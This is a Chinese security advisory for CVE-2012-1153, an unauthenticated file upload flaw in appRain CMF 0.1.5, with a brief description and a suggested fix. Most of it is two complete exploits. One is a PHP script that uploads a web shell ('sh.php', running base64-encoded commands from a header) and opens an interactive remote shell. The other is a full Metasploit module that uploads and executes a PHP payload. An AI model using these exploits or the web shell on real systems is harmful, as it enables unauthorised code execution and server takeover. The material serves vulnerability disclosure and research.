appRain CMF 'uploadify.php'远程任意文件上传漏洞

appRain CMF 'uploadify.php'远程任意文件上传漏洞

发布日期：2012-01-19
更新日期：2012-10-16

受影响系统：
appRain appRain CMF 0.1.5
描述：
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BUGTRAQ  ID: 51576
CVE ID: CVE-2012-1153

appRain CMF是开源内容管理框架。

appRain CMF 0.1.5及其他版本存在任意文件上传漏洞，成功利用后可允许攻击者上传任意文件到受影响服务器。

<*来源：EgiX （n0b0d13s@gmail.com）
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

/*
    ---------------------------------------------------------------------
    appRain CMF <= 0.1.5 (uploadify.php) Unrestricted File Upload Exploit
    ---------------------------------------------------------------------
   
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://www.apprain.com/
   
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
   
    [-] vulnerable code in /webroot/addons/uploadify/uploadify.php
   
    27.    if (!empty($_FILES)) {
    28.            $tempFile = $_FILES['Filedata']['tmp_name'];
    29.            //$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
    30.            $targetFile =  "uploads/" . $_FILES['Filedata']['name'];
    31.           
    32.            // $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);
    33.            // $fileTypes  = str_replace(';','|',$fileTypes);
    34.            // $typesArray = split('\|',$fileTypes);
    35.            // $fileParts  = pathinfo($_FILES['Filedata']['name']);
    36.           
    37.            // if (in_array($fileParts['extension'],$typesArray)) {
    38.                    // Uncomment the following line if you want to make the directory if it doesn't exist
    39.                    // mkdir(str_replace('//','/',$targetPath), 0755, true);
    40.                   
    41.                    move_uploaded_file($tempFile,$targetFile);
    42.                    echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
    43.            // } else {
    44.            //      echo 'Invalid file type.';
    45.            // }
    46.    }
   
    Restricted access to  this script isn't properly realized,  so an attacker might  be able to upload
    arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.
   
    [-] Possible bug fix:
   
    include_once('../../../app.php');
    App::__Obj('appRain_Base_Core')->check_admin_login();
   
    add this lines of code at the beginning of the script
   
    [-] Disclosure timeline:
   
    [19/12/2011] - Vulnerability discovered
    [19/12/2011] - Issue reported to http://www.apprain.com/ticket/1135
    [20/12/2011] - Vendor response and fix suggested
    [16/01/2012] - After four weeks still no fix released
    [19/01/2012] - Public disclosure
   
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");

    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------+";
print "\n| appRain CMF <= 0.1.5 Unrestricted File Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /apprain-v015/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}addons/uploadify/uploadify.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
   
if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet  = "GET {$path}addons/uploadify/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
   
while(1)
{
    print "\napprain-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

 

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#  http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'          => "appRain CMF Arbitrary PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in appRain's Content Management
        Framework (CMF), version 0.1.5 or less.  By abusing the uploadify.php file, a
        malicious user can upload a file to the uploads/ directory without any
        authentication, which results in arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'        =>
        [
          'EgiX',  #Discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'    =>
        [
          ['CVE', '2012-1153'],
          ['OSVDB', '78473'],
          ['EDB', '18392']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'      => ['php'],
      'Arch'          => ARCH_PHP,
      'Targets'        =>
        [
          ['appRain 0.1.5 or less', {}]
        ],
      'Privileged'    => false,
      'DisclosureDate' => "Jan 19 2012",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5'])
        ], self.class)
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}addons/uploadify/uploadify.php"
    })

    if res and res.code == 200 and res.body.empty?
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    peer = "#{rhost}:#{rport}"
    payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'

    post_data = "--o0oOo0o\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
    post_data << "<?php "
    post_data << payload.encoded
    post_data << " ?>\r\n"
    post_data << "--o0oOo0o\r\n"

    print_status("#{peer} - Sending PHP payload (#{payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{uri}addons/uploadify/uploadify.php",
      'ctype'  => 'multipart/form-data; boundary=o0oOo0o',
      'data'  => post_data
    })

    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      print_error("#{peer} - I don't think the file was uploaded. Abort!")
      return
    end

    print_status("#{peer} - Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}addons/uploadify/uploads/#{payload_name}"
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_status("#{peer} - Server returns #{res.code.to_s}")
    end
  end
end

建议：
--------------------------------------------------------------------------------
厂商补丁：

appRain
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.apprain.com/